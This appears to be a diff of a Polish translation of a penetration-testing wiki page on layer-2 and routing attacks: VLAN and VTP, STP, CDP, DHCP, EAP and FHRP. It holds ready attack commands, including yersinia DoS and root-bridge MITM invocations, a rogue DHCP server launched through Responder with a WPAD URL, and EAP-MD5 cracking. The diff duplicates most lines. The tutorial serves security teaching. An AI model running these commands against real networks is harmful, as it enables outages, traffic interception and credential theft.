Jeśli masz **dostęp do przełącznika, do którego jesteś bezpośrednio podłączony**, masz możliwość **ominięcia segmentacji VLAN** w sieci. Po prostu **zmień port na tryb trunk** (inaczej znany jako trunk), stwórz wirtualne interfejsy z identyfikatorami docelowych VLAN-ów i skonfiguruj adres IP. Możesz spróbować żądać adresu dynamicznie (DHCP) lub skonfigurować go statycznie. To zależy od sytuacji.
|
||||
Jeśli masz **dostęp do switcha, do którego jesteś bezpośrednio podłączony**, masz możliwość **obejścia segmentacji VLAN** w sieci. Po prostu **przełącz port w tryb trunk** (znany również jako trunk), utwórz wirtualne interfejsy z identyfikatorami docelowych VLAN-ów i skonfiguruj adres IP. Możesz spróbować zażądać adresu dynamicznie (DHCP) lub skonfigurować go statycznie. To zależy od przypadku.
|
||||
|
||||
{% content-ref url="lateral-vlan-segmentation-bypass.md" %}
|
||||
[lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Ominięcie Prywatnego VLAN Warstwy 3
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
W pewnych środowiskach, takich jak sieci bezprzewodowe dla gości, ustawienia **izolacji portów (znane również jako prywatny VLAN)** są wdrożone w celu zapobieżenia bezpośredniej komunikacji klientów podłączonych do punktu dostępu bezprzewodowego. Zidentyfikowano jednak technikę, która może obejść te środki izolacji. Ta technika wykorzystuje brak list ACL sieciowych lub ich nieprawidłową konfigurację, umożliwiając przekierowanie pakietów IP przez router, aby dotrzeć do innego klienta w tej samej sieci.
|
||||
W niektórych środowiskach, takich jak sieci bezprzewodowe dla gości, wprowadza się ustawienia **izolacji portów (znane również jako prywatne VLAN)**, aby zapobiec bezpośredniej komunikacji między klientami podłączonymi do punktu dostępowego. Jednak zidentyfikowano technikę, która może obejść te środki izolacyjne. Technika ta wykorzystuje brak ACL w sieci lub ich niewłaściwą konfigurację, umożliwiając pakietom IP przechodzenie przez router, aby dotrzeć do innego klienta w tej samej sieci.
|
||||
|
||||
Atak jest przeprowadzany poprzez stworzenie **pakietu, który przenosi adres IP docelowego klienta, ale z adresem MAC routera**. Powoduje to błędne przekierowanie pakietu przez router do klienta docelowego. Ten sposób działania jest podobny do tego używanego w atakach podwójnego znakowania, gdzie możliwość kontrolowania hosta dostępnego dla ofiary jest wykorzystywana do wykorzystania luki w zabezpieczeniach.
|
||||
Atak jest realizowany poprzez stworzenie **pakietu, który zawiera adres IP docelowego klienta, ale z adresem MAC routera**. To powoduje, że router błędnie przekazuje pakiet do docelowego klienta. To podejście jest podobne do tego stosowanego w atakach Double Tagging, gdzie możliwość kontrolowania hosta dostępnego dla ofiary jest wykorzystywana do wykorzystania luki w zabezpieczeniach.
|
||||
|
||||
**Kluczowe Kroki Ataku:**
|
||||
**Kluczowe kroki ataku:**
|
||||
|
||||
1. **Tworzenie Pakietu:** Pakiet jest specjalnie przygotowany tak, aby zawierał adres IP docelowego klienta, ale z adresem MAC routera.
|
||||
2. **Wykorzystanie Zachowania Routera:** Przygotowany pakiet jest wysyłany do routera, który, ze względu na konfigurację, przekierowuje pakiet do klienta docelowego, omijając izolację zapewnioną przez ustawienia prywatnego VLAN.
|
||||
1. **Tworzenie pakietu:** Pakiet jest specjalnie tworzony, aby zawierał adres IP docelowego klienta, ale z adresem MAC routera.
|
||||
2. **Wykorzystywanie zachowania routera:** Stworzony pakiet jest wysyłany do routera, który, z powodu konfiguracji, przekierowuje pakiet do docelowego klienta, omijając izolację zapewnianą przez ustawienia prywatnego VLAN.
|
||||
|
||||
### Ataki VTP
|
||||
### VTP Attacks
|
||||
|
||||
VTP (VLAN Trunking Protocol) centralizuje zarządzanie VLAN-ami. Wykorzystuje numery rewizji do utrzymania integralności bazy danych VLAN; każda modyfikacja zwiększa ten numer. Przełączniki przyjmują konfiguracje z wyższymi numerami rewizji, aktualizując swoje bazy danych VLAN.
|
||||
VTP (VLAN Trunking Protocol) centralizuje zarządzanie VLAN. Wykorzystuje numery rewizji do utrzymania integralności bazy danych VLAN; każda modyfikacja zwiększa ten numer. Switche przyjmują konfiguracje z wyższymi numerami rewizji, aktualizując swoje własne bazy danych VLAN.
|
||||
|
||||
#### Role Domeny VTP
|
||||
#### VTP Domain Roles
|
||||
|
||||
* **Serwer VTP:** Zarządza VLAN-ami—tworzy, usuwa, modyfikuje. Wysyła ogłoszenia VTP do członków domeny.
|
||||
* **Klient VTP:** Odbiera ogłoszenia VTP w celu zsynchronizowania swojej bazy danych VLAN. Ta rola jest ograniczona od modyfikacji lokalnej konfiguracji VLAN.
|
||||
* **Transparentny VTP:** Nie uczestniczy w aktualizacjach VTP, ale przekazuje ogłoszenia VTP. Nie dotyczą go ataki VTP, utrzymuje stały numer rewizji równy zero.
|
||||
* **VTP Server:** Zarządza VLAN-ami—tworzy, usuwa, modyfikuje. Rozsyła ogłoszenia VTP do członków domeny.
|
||||
* **VTP Client:** Odbiera ogłoszenia VTP, aby zsynchronizować swoją bazę danych VLAN. Ta rola jest ograniczona w zakresie lokalnych modyfikacji konfiguracji VLAN.
|
||||
* **VTP Transparent:** Nie angażuje się w aktualizacje VTP, ale przekazuje ogłoszenia VTP. Nie jest dotknięty atakami VTP, utrzymuje stały numer rewizji równy zero.
|
||||
|
||||
#### Typy Ogłoszeń VTP
|
||||
#### VTP Advertisement Types
|
||||
|
||||
* **Ogłoszenie Podsumowujące:** Wysyłane przez serwer VTP co 300 sekund, przenoszące istotne informacje o domenie.
|
||||
* **Ogłoszenie Podzbiór:** Wysyłane po zmianach konfiguracji VLAN.
|
||||
* **Żądanie Ogłoszenia:** Wystawiane przez klienta VTP w celu żądania Ogłoszenia Podsumowującego, zazwyczaj w odpowiedzi na wykrycie wyższego numeru rewizji konfiguracji.
|
||||
* **Summary Advertisement:** Rozsyłane przez serwer VTP co 300 sekund, zawiera istotne informacje o domenie.
|
||||
* **Subset Advertisement:** Wysyłane po zmianach konfiguracji VLAN.
|
||||
* **Advertisement Request:** Wydawane przez klienta VTP w celu zażądania ogłoszenia podsumowującego, zazwyczaj w odpowiedzi na wykrycie wyższego numeru rewizji konfiguracji.
|
||||
|
||||
Układy VTP są podatne na ataki wyłącznie poprzez porty trunkowe, ponieważ ogłoszenia VTP krążą wyłącznie przez nie. Scenariusze ataków po DTP mogą skierować się w stronę VTP. Narzędzia takie jak Yersinia mogą ułatwić ataki VTP, mające na celu usunięcie bazy danych VLAN, skutecznie zakłócając sieć.
|
||||
Luki w VTP są wykorzystywane wyłącznie przez porty trunk, ponieważ ogłoszenia VTP krążą tylko przez nie. Scenariusze po ataku DTP mogą przejść do VTP. Narzędzia takie jak Yersinia mogą ułatwić ataki VTP, mając na celu usunięcie bazy danych VLAN, skutecznie zakłócając sieć.
|
||||
|
||||
Uwaga: Ta dyskusja dotyczy wersji VTP 1 (VTPv1).
|
||||
````bash
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
````
|
||||
W trybie graficznym Yersinii wybierz opcję usunięcia wszystkich VLAN-ów VTP, aby oczyścić bazę danych VLAN.
|
||||
|
||||
### Ataki STP
|
||||
|
||||
**Jeśli nie możesz przechwycić ramek BPDU na swoich interfejsach, mało prawdopodobne jest, że uda ci się przeprowadzić atak STP.**
|
||||
**Jeśli nie możesz przechwycić ramek BPDU na swoich interfejsach, jest mało prawdopodobne, że odniesiesz sukces w ataku STP.**
|
||||
|
||||
#### **DoS BPDU STP**
|
||||
#### **STP BPDU DoS**
|
||||
|
||||
Wysyłając wiele ramek BPDUs TCP (Topology Change Notification) lub Conf (BPDUs wysyłane podczas tworzenia topologii), przełączniki zostają przeciążone i przestają działać poprawnie.
|
||||
Wysyłając dużą ilość BPDUs TCP (Powiadomienie o zmianie topologii) lub Conf (BPDUs, które są wysyłane, gdy topologia jest tworzona), przełączniki są przeciążone i przestają działać poprawnie.
|
||||
```bash
|
||||
yersinia stp -attack 2
|
||||
yersinia stp -attack 3
|
||||
|
@ -408,79 +413,79 @@ yersinia stp -attack 3
|
|||
```
|
||||
#### **Atak STP TCP**
|
||||
|
||||
Kiedy zostanie wysłane TCP, tabela CAM przełączników zostanie usunięta w ciągu 15s. Następnie, jeśli wysyłasz ciągle ten rodzaj pakietów, tabela CAM będzie ciągle restartowana (co 15 sekund) i gdy zostanie zrestartowana, przełącznik zachowuje się jak koncentrator.
|
||||
Gdy wysyłany jest TCP, tabela CAM przełączników zostanie usunięta po 15s. Następnie, jeśli ciągle wysyłasz tego rodzaju pakiety, tabela CAM będzie restartowana ciągle (lub co 15 sekund) i gdy zostanie zrestartowana, przełącznik zachowuje się jak hub.
|
||||
```bash
|
||||
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
|
||||
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
```
|
||||
#### **Atak na korzeń STP**
|
||||
#### **Atak na Root STP**
|
||||
|
||||
Atakujący symuluje zachowanie przełącznika, aby stać się korzeniem STP sieci. Wtedy więcej danych będzie przechodzić przez niego. Jest to interesujące, gdy jesteś podłączony do dwóch różnych przełączników.\
|
||||
Dzieje się to poprzez wysyłanie pakietów CONF BPDUs mówiących, że wartość **priorytetu** jest mniejsza niż rzeczywisty priorytet rzeczywistego przełącznika korzenia.
|
||||
Atakujący symuluje zachowanie przełącznika, aby stać się rootem STP w sieci. Wtedy więcej danych będzie przechodzić przez niego. To jest interesujące, gdy jesteś podłączony do dwóch różnych przełączników.\
|
||||
To osiąga się poprzez wysyłanie pakietów BPDUs CONF, mówiących, że wartość **priorytetu** jest mniejsza niż rzeczywisty priorytet rzeczywistego przełącznika root.
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
```
|
||||
**Jeśli atakujący jest podłączony do 2 przełączników, może stać się korzeniem nowego drzewa i cały ruch pomiędzy tymi przełącznikami będzie przechodził przez niego** (ataku typu MITM zostanie przeprowadzony).
|
||||
**Jeśli atakujący jest podłączony do 2 switchy, może stać się korzeniem nowego drzewa, a cały ruch między tymi switchami będzie przechodził przez niego** (zostanie przeprowadzony atak MITM).
|
||||
```bash
|
||||
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
|
||||
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
|
||||
```
|
||||
### Ataki CDP
|
||||
|
||||
Protokół Odkrywania CISCO (CDP) jest niezbędny do komunikacji między urządzeniami CISCO, umożliwiając im **identyfikację siebie nawzajem i udostępnianie szczegółów konfiguracji**.
|
||||
CISCO Discovery Protocol (CDP) jest niezbędny do komunikacji między urządzeniami CISCO, umożliwiając im **identyfikację nawzajem i dzielenie się szczegółami konfiguracji**.
|
||||
|
||||
#### Pasywne Zbieranie Danych <a href="#id-0e0f" id="id-0e0f"></a>
|
||||
#### Pasywne zbieranie danych <a href="#id-0e0f" id="id-0e0f"></a>
|
||||
|
||||
CDP jest skonfigurowany do rozgłaszania informacji przez wszystkie porty, co może prowadzić do ryzyka bezpieczeństwa. Atakujący, po podłączeniu do portu przełącznika, może zastosować narzędzia do przechwytywania sieci takie jak **Wireshark**, **tcpdump** lub **Yersinia**. Ta akcja może ujawnić wrażliwe dane na temat urządzenia sieciowego, w tym jego model i wersję systemu Cisco IOS, który jest używany. Następnie atakujący może skierować się przeciwko konkretnym podatnościom w zidentyfikowanej wersji Cisco IOS.
|
||||
CDP jest skonfigurowany do nadawania informacji przez wszystkie porty, co może prowadzić do ryzyka bezpieczeństwa. Atakujący, podłączając się do portu przełącznika, może wdrożyć sniffery sieciowe, takie jak **Wireshark**, **tcpdump** lub **Yersinia**. Działanie to może ujawnić wrażliwe dane o urządzeniu sieciowym, w tym jego model i wersję Cisco IOS, na której działa. Atakujący może następnie celować w konkretne luki w zidentyfikowanej wersji Cisco IOS.
|
||||
|
||||
#### Wywoływanie Zatłoczenia Tabeli CDP <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
#### Wzbudzanie zalewania tabeli CDP <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
Bardziej agresywne podejście polega na uruchomieniu ataku typu Denial of Service (DoS), przytłaczając pamięć przełącznika, udając prawidłowe urządzenia CISCO. Poniżej znajduje się sekwencja poleceń do zainicjowania takiego ataku przy użyciu narzędzia sieciowego Yersinia, przeznaczonego do testowania:
|
||||
Bardziej agresywne podejście polega na przeprowadzeniu ataku Denial of Service (DoS) poprzez przytłoczenie pamięci przełącznika, udając legalne urządzenia CISCO. Poniżej znajduje się sekwencja poleceń do rozpoczęcia takiego ataku przy użyciu Yersinia, narzędzia sieciowego zaprojektowanego do testowania:
|
||||
```bash
|
||||
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
Podczas tego ataku, procesor przełącznika oraz tabela sąsiadów CDP są silnie obciążone, prowadząc często do tzw. **"paraliżu sieci"** z powodu nadmiernego zużycia zasobów.
|
||||
Podczas tego ataku, CPU przełącznika i tabela sąsiadów CDP są mocno obciążone, co prowadzi do tego, co często nazywa się **„paraliżem sieciowym”** z powodu nadmiernego zużycia zasobów.
|
||||
|
||||
#### Atak podszywania się pod CDP
|
||||
#### Atak na podszywanie się pod CDP
|
||||
```bash
|
||||
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
|
||||
sudo yersinia cdp -attack 0 #Send a CDP packet
|
||||
```
|
||||
Możesz również użyć [**scapy**](https://github.com/secdev/scapy/). Upewnij się, że instalujesz go z pakietem `scapy/contrib`.
|
||||
Możesz również użyć [**scapy**](https://github.com/secdev/scapy/). Upewnij się, że zainstalujesz go z pakietem `scapy/contrib`.
|
||||
|
||||
### Ataki VoIP i narzędzie VoIP Hopper
|
||||
|
||||
Telefony VoIP, coraz bardziej zintegrowane z urządzeniami IoT, oferują funkcje takie jak otwieranie drzwi lub sterowanie termostatami za pomocą specjalnych numerów telefonów. Jednak ta integracja może stanowić ryzyko dla bezpieczeństwa.
|
||||
Telefony VoIP, coraz bardziej zintegrowane z urządzeniami IoT, oferują funkcje takie jak odblokowywanie drzwi czy kontrolowanie termostatów za pomocą specjalnych numerów telefonów. Jednak ta integracja może stwarzać zagrożenia dla bezpieczeństwa.
|
||||
|
||||
Narzędzie [**voiphopper**](http://voiphopper.sourceforge.net) zostało zaprojektowane do emulowania telefonu VoIP w różnych środowiskach (Cisco, Avaya, Nortel, Alcatel-Lucent). Odkrywa identyfikator VLAN sieci głosowej za pomocą protokołów takich jak CDP, DHCP, LLDP-MED i 802.1Q ARP.
|
||||
Narzędzie [**voiphopper**](http://voiphopper.sourceforge.net) jest zaprojektowane do emulacji telefonu VoIP w różnych środowiskach (Cisco, Avaya, Nortel, Alcatel-Lucent). Odkrywa identyfikator VLAN sieci głosowej za pomocą protokołów takich jak CDP, DHCP, LLDP-MED i 802.1Q ARP.
|
||||
|
||||
**VoIP Hopper** oferuje trzy tryby dla protokołu Cisco Discovery Protocol (CDP):
|
||||
|
||||
1. **Tryb Sniff** (`-c 0`): Analizuje pakiety sieciowe w celu zidentyfikowania identyfikatora VLAN.
|
||||
2. **Tryb Spoof** (`-c 1`): Generuje niestandardowe pakiety imitujące te z rzeczywistego urządzenia VoIP.
|
||||
3. **Tryb Spoof z Wcześniej Utworzonym Pakietem** (`-c 2`): Wysyła pakiety identyczne z tymi z określonego modelu telefonu IP Cisco.
|
||||
1. **Tryb Sniff** (`-c 0`): Analizuje pakiety sieciowe, aby zidentyfikować identyfikator VLAN.
|
||||
2. **Tryb Spoof** (`-c 1`): Generuje niestandardowe pakiety naśladujące te z rzeczywistego urządzenia VoIP.
|
||||
3. **Tryb Spoof z gotowym pakietem** (`-c 2`): Wysyła pakiety identyczne do tych z konkretnego modelu telefonu IP Cisco.
|
||||
|
||||
Preferowany tryb dla szybkości to trzeci. Wymaga określenia:
|
||||
Preferowanym trybem dla szybkości jest trzeci. Wymaga on określenia:
|
||||
|
||||
* Interfejsu sieciowego atakującego (`-i` parametr).
|
||||
* Nazwy urządzenia VoIP, które jest emulowane (`-E` parametr), zgodnie z formatem nazewnictwa Cisco (np. SEP, a następnie adres MAC).
|
||||
* Interfejsu sieciowego atakującego (`-i` parameter).
|
||||
* Nazwy emulowanego urządzenia VoIP (`-E` parameter), zgodnie z formatem nazewnictwa Cisco (np. SEP, a następnie adres MAC).
|
||||
|
||||
W ustawieniach korporacyjnych, aby zasymulować istniejące urządzenie VoIP, można:
|
||||
W środowiskach korporacyjnych, aby naśladować istniejące urządzenie VoIP, można:
|
||||
|
||||
* Sprawdzić etykietę MAC na telefonie.
|
||||
* Przejrzeć ustawienia wyświetlacza telefonu, aby zobaczyć informacje o modelu.
|
||||
* Przejść do ustawień wyświetlacza telefonu, aby zobaczyć informacje o modelu.
|
||||
* Podłączyć urządzenie VoIP do laptopa i obserwować żądania CDP za pomocą Wireshark.
|
||||
|
||||
Przykładowe polecenie do wykonania narzędzia w trzecim trybie byłoby:
|
||||
Przykładowe polecenie do uruchomienia narzędzia w trzecim trybie to:
|
||||
```bash
|
||||
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
|
||||
```
|
||||
### Ataki DHCP
|
||||
|
||||
#### Wyliczanie
|
||||
#### Enumeracja
|
||||
```bash
|
||||
nmap --script broadcast-dhcp-discover
|
||||
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
|
||||
|
@ -500,59 +505,59 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
|||
```
|
||||
**DoS**
|
||||
|
||||
Istnieją **dwa rodzaje ataków typu DoS**, które można przeprowadzić przeciwko serwerom DHCP. Pierwszy polega na **symulowaniu wystarczającej liczby fałszywych hostów, aby zużyć wszystkie możliwe adresy IP**.\
|
||||
Ten atak zadziała tylko wtedy, gdy można zobaczyć odpowiedzi serwera DHCP i ukończyć protokół (**Odkryj** (Komputer) --> **Oferta** (serwer) --> **Żądanie** (Komputer) --> **Potwierdzenie** (serwer)). Na przykład **nie jest to możliwe w sieciach Wifi**.
|
||||
**Dwa typy DoS** mogą być przeprowadzone przeciwko serwerom DHCP. Pierwszy z nich polega na **symulowaniu wystarczającej liczby fałszywych hostów, aby wykorzystać wszystkie możliwe adresy IP**.\
|
||||
Ten atak zadziała tylko wtedy, gdy możesz zobaczyć odpowiedzi serwera DHCP i zakończyć protokół (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Na przykład, **to nie jest możliwe w sieciach Wifi**.
|
||||
|
||||
Innym sposobem przeprowadzenia ataku typu DoS na DHCP jest wysłanie **pakietu DHCP-RELEASE, używając jako źródła każdego możliwego adresu IP**. Wtedy serwer będzie sądził, że wszyscy zakończyli korzystanie z danego adresu IP.
|
||||
Innym sposobem przeprowadzenia DoS DHCP jest wysłanie **pakietu DHCP-RELEASE, używając jako kodu źródłowego każdego możliwego adresu IP**. Wtedy serwer pomyśli, że wszyscy zakończyli korzystanie z adresu IP.
|
||||
```bash
|
||||
yersinia dhcp -attack 1
|
||||
yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
Aby zrobić to bardziej automatycznie, użyj narzędzia [DHCPing](https://github.com/kamorin/DHCPig)
|
||||
A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig)
|
||||
|
||||
Możesz użyć wspomnianych ataków DoS, aby zmusić klientów do uzyskania nowych dzierżaw w środowisku i wyczerpać prawidłowe serwery, aby stały się nieodpowiedzialne. Dlatego gdy prawidłowe serwery spróbują ponownie połączyć się, **możesz serwować złośliwe wartości wspomniane w następnym ataku**.
|
||||
Możesz użyć wspomnianych ataków DoS, aby zmusić klientów do uzyskania nowych dzierżaw w środowisku i wyczerpać legalne serwery, aby stały się nieodpowiadające. Gdy legalne serwery próbują ponownie połączyć się, **możesz serwować złośliwe wartości wspomniane w następnym ataku**.
|
||||
|
||||
#### Ustaw złośliwe wartości
|
||||
|
||||
Rogi serwer DHCP można skonfigurować, używając skryptu DHCP znajdującego się w `/usr/share/responder/DHCP.py`. Jest to przydatne do ataków sieciowych, takich jak przechwytywanie ruchu HTTP i poświadczeń, poprzez przekierowywanie ruchu do złośliwego serwera. Jednakże, ustawienie fałszywej bramy jest mniej skuteczne, ponieważ pozwala tylko na przechwytywanie ruchu wychodzącego z klienta, pomijając odpowiedzi od prawdziwej bramy. Zamiast tego, zaleca się ustawienie fałszywego serwera DNS lub WPAD dla bardziej skutecznego ataku.
|
||||
Nielegalny serwer DHCP można skonfigurować za pomocą skryptu DHCP znajdującego się w `/usr/share/responder/DHCP.py`. Jest to przydatne w atakach sieciowych, takich jak przechwytywanie ruchu HTTP i poświadczeń, poprzez przekierowywanie ruchu do złośliwego serwera. Jednak ustawienie nielegalnej bramy jest mniej skuteczne, ponieważ pozwala tylko na przechwytywanie ruchu wychodzącego od klienta, pomijając odpowiedzi z prawdziwej bramy. Zamiast tego zaleca się skonfigurowanie nielegalnego serwera DNS lub WPAD dla bardziej skutecznego ataku.
|
||||
|
||||
Poniżej znajdują się opcje poleceń do konfigurowania fałszywego serwera DHCP:
|
||||
Poniżej znajdują się opcje poleceń do skonfigurowania nielegalnego serwera DHCP:
|
||||
|
||||
* **Nasz adres IP (Reklama Bramy)**: Użyj `-i 10.0.0.100`, aby reklamować IP twojego urządzenia jako bramę.
|
||||
* **Nasz adres IP (Ogłoszenie bramy)**: Użyj `-i 10.0.0.100`, aby ogłosić adres IP swojej maszyny jako bramę.
|
||||
* **Lokalna nazwa domeny DNS**: Opcjonalnie, użyj `-d example.org`, aby ustawić lokalną nazwę domeny DNS.
|
||||
* **Oryginalny Router/Brama IP**: Użyj `-r 10.0.0.1`, aby określić adres IP prawidłowego routera lub bramy.
|
||||
* **Główny adres IP serwera DNS**: Użyj `-p 10.0.0.100`, aby ustawić adres IP fałszywego serwera DNS, który kontrolujesz.
|
||||
* **Drugi adres IP serwera DNS**: Opcjonalnie, użyj `-s 10.0.0.1`, aby ustawić drugi adres IP serwera DNS.
|
||||
* **Maska podsieci lokalnej sieci**: Użyj `-n 255.255.255.0`, aby zdefiniować maskę podsieci dla lokalnej sieci.
|
||||
* **Interfejs do ruchu DHCP**: Użyj `-I eth1`, aby nasłuchiwać ruchu DHCP na określonym interfejsie sieciowym.
|
||||
* **Adres konfiguracji WPAD**: Użyj `-w “http://10.0.0.100/wpad.dat”`, aby ustawić adres konfiguracji WPAD, pomagając w przechwytywaniu ruchu sieciowego.
|
||||
* **Podszywanie adresu IP domyślnej bramy**: Dodaj `-S`, aby podszyć adres IP domyślnej bramy.
|
||||
* **Odpowiedź na wszystkie żądania DHCP**: Dodaj `-R`, aby sprawić, że serwer odpowie na wszystkie żądania DHCP, ale miej świadomość, że jest to głośne i może być wykryte.
|
||||
* **Oryginalny adres IP routera/bramy**: Użyj `-r 10.0.0.1`, aby określić adres IP legalnego routera lub bramy.
|
||||
* **Adres IP głównego serwera DNS**: Użyj `-p 10.0.0.100`, aby ustawić adres IP nielegalnego serwera DNS, który kontrolujesz.
|
||||
* **Adres IP drugiego serwera DNS**: Opcjonalnie, użyj `-s 10.0.0.1`, aby ustawić adres IP drugiego serwera DNS.
|
||||
* **Maska sieci lokalnej**: Użyj `-n 255.255.255.0`, aby zdefiniować maskę dla lokalnej sieci.
|
||||
* **Interfejs dla ruchu DHCP**: Użyj `-I eth1`, aby nasłuchiwać ruchu DHCP na określonym interfejsie sieciowym.
|
||||
* **Adres konfiguracji WPAD**: Użyj `-w “http://10.0.0.100/wpad.dat”`, aby ustawić adres dla konfiguracji WPAD, wspomagając przechwytywanie ruchu sieciowego.
|
||||
* **Fałszowanie adresu IP domyślnej bramy**: Dodaj `-S`, aby sfałszować adres IP domyślnej bramy.
|
||||
* **Odpowiedz na wszystkie żądania DHCP**: Dodaj `-R`, aby serwer odpowiadał na wszystkie żądania DHCP, ale bądź świadomy, że jest to głośne i może być wykryte.
|
||||
|
||||
Poprawne użycie tych opcji pozwala na skuteczne przechwytywanie ruchu sieciowego za pomocą fałszywego serwera DHCP.
|
||||
Poprawne użycie tych opcji pozwala na skuteczne utworzenie nielegalnego serwera DHCP w celu przechwytywania ruchu sieciowego.
|
||||
```python
|
||||
# Example to start a rogue DHCP server with specified options
|
||||
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
|
||||
```
|
||||
### **Ataki EAP**
|
||||
|
||||
Oto kilka taktyk ataku, które można wykorzystać przeciwko implementacjom 802.1X:
|
||||
Oto niektóre z taktyk ataków, które można wykorzystać przeciwko implementacjom 802.1X:
|
||||
|
||||
* Aktywne łamanie hasła metodą brute-force za pomocą EAP
|
||||
* Atakowanie serwera RADIUS za pomocą zniekształconej zawartości EAP _(eksploity)_
|
||||
* Przechwytywanie wiadomości EAP i offline łamanie hasła (EAP-MD5 i PEAP)
|
||||
* Wymuszanie uwierzytelniania EAP-MD5 w celu ominięcia weryfikacji certyfikatu TLS
|
||||
* Wstrzykiwanie złośliwego ruchu sieciowego podczas uwierzytelniania za pomocą koncentratora lub podobnego
|
||||
* Aktywne łamanie haseł metodą brute-force za pomocą EAP
|
||||
* Atakowanie serwera RADIUS z użyciem zniekształconych treści EAP _\*\*_(exploits)
|
||||
* Przechwytywanie wiadomości EAP i łamanie haseł offline (EAP-MD5 i PEAP)
|
||||
* Wymuszanie uwierzytelniania EAP-MD5 w celu ominięcia walidacji certyfikatu TLS
|
||||
* Wstrzykiwanie złośliwego ruchu sieciowego podczas uwierzytelniania za pomocą huba lub podobnego urządzenia
|
||||
|
||||
Jeśli atakujący znajduje się między ofiarą a serwerem uwierzytelniania, może on próbować zdegradować (jeśli konieczne) protokół uwierzytelniania do EAP-MD5 i przechwycić próbę uwierzytelnienia. Następnie może on użyć metody brute-force do:
|
||||
Jeśli atakujący znajduje się pomiędzy ofiarą a serwerem uwierzytelniającym, może spróbować obniżyć (jeśli to konieczne) protokół uwierzytelniania do EAP-MD5 i przechwycić próbę uwierzytelnienia. Następnie może to złamać za pomocą:
|
||||
```
|
||||
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### Ataki FHRP (GLBP & HSRP) <a href="#id-6196" id="id-6196"></a>
|
||||
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (First Hop Redundancy Protocol) to klasa protokołów sieciowych zaprojektowana do **tworzenia gorącego redundantnego systemu routingu**. Dzięki FHRP fizyczne routery mogą być połączone w pojedyncze urządzenie logiczne, co zwiększa tolerancję na awarie i pomaga rozłożyć obciążenie.
|
||||
**FHRP** (First Hop Redundancy Protocol) to klasa protokołów sieciowych zaprojektowanych w celu **utworzenia gorącego systemu redundancji routingu**. Dzięki FHRP fizyczne routery mogą być łączone w jeden logiczny urządzenie, co zwiększa tolerancję na błędy i pomaga rozłożyć obciążenie.
|
||||
|
||||
**Inżynierowie firmy Cisco Systems opracowali dwa protokoły FHRP, GLBP i HSRP.**
|
||||
**Inżynierowie Cisco Systems opracowali dwa protokoły FHRP, GLBP i HSRP.**
|
||||
|
||||
{% content-ref url="glbp-and-hsrp-attacks.md" %}
|
||||
[glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md)
|
||||
|
@ -560,43 +565,43 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
|||
|
||||
### RIP
|
||||
|
||||
Istnieją trzy wersje protokołu Routing Information Protocol (RIP): RIP, RIPv2 i RIPng. Datagramy są wysyłane do równorzędnych za pomocą portu 520 za pomocą UDP przez RIP i RIPv2, podczas gdy datagramy są nadawane do portu 521 za pomocą multicastu IPv6 przez RIPng. Wersja RIPv2 wprowadziła obsługę uwierzytelniania MD5. Z kolei wersja RIPng nie zawiera natywnego uwierzytelniania; zamiast tego polega na opcjonalnych nagłówkach IPsec AH i ESP w IPv6.
|
||||
Znane są trzy wersje protokołu Routing Information Protocol (RIP): RIP, RIPv2 i RIPng. Datagramy są wysyłane do partnerów przez port 520 przy użyciu UDP przez RIP i RIPv2, podczas gdy datagramy są rozgłaszane do portu UDP 521 przez multicast IPv6 przez RIPng. Obsługa uwierzytelniania MD5 została wprowadzona przez RIPv2. Z drugiej strony, natywne uwierzytelnianie nie jest włączone w RIPng; zamiast tego polega się na opcjonalnych nagłówkach IPsec AH i ESP w IPv6.
|
||||
|
||||
* **RIP i RIPv2:** Komunikacja odbywa się za pomocą datagramów UDP na porcie 520.
|
||||
* **RIPng:** Wykorzystuje port UDP 521 do nadawania datagramów za pomocą multicastu IPv6.
|
||||
* **RIP i RIPv2:** Komunikacja odbywa się przez datagramy UDP na porcie 520.
|
||||
* **RIPng:** Wykorzystuje port UDP 521 do rozgłaszania datagramów przez multicast IPv6.
|
||||
|
||||
Należy zauważyć, że RIPv2 obsługuje uwierzytelnianie MD5, podczas gdy RIPng nie zawiera natywnego uwierzytelniania, polegając na nagłówkach IPsec AH i ESP w IPv6.
|
||||
|
||||
### Ataki EIGRP
|
||||
### EIGRP Attacks
|
||||
|
||||
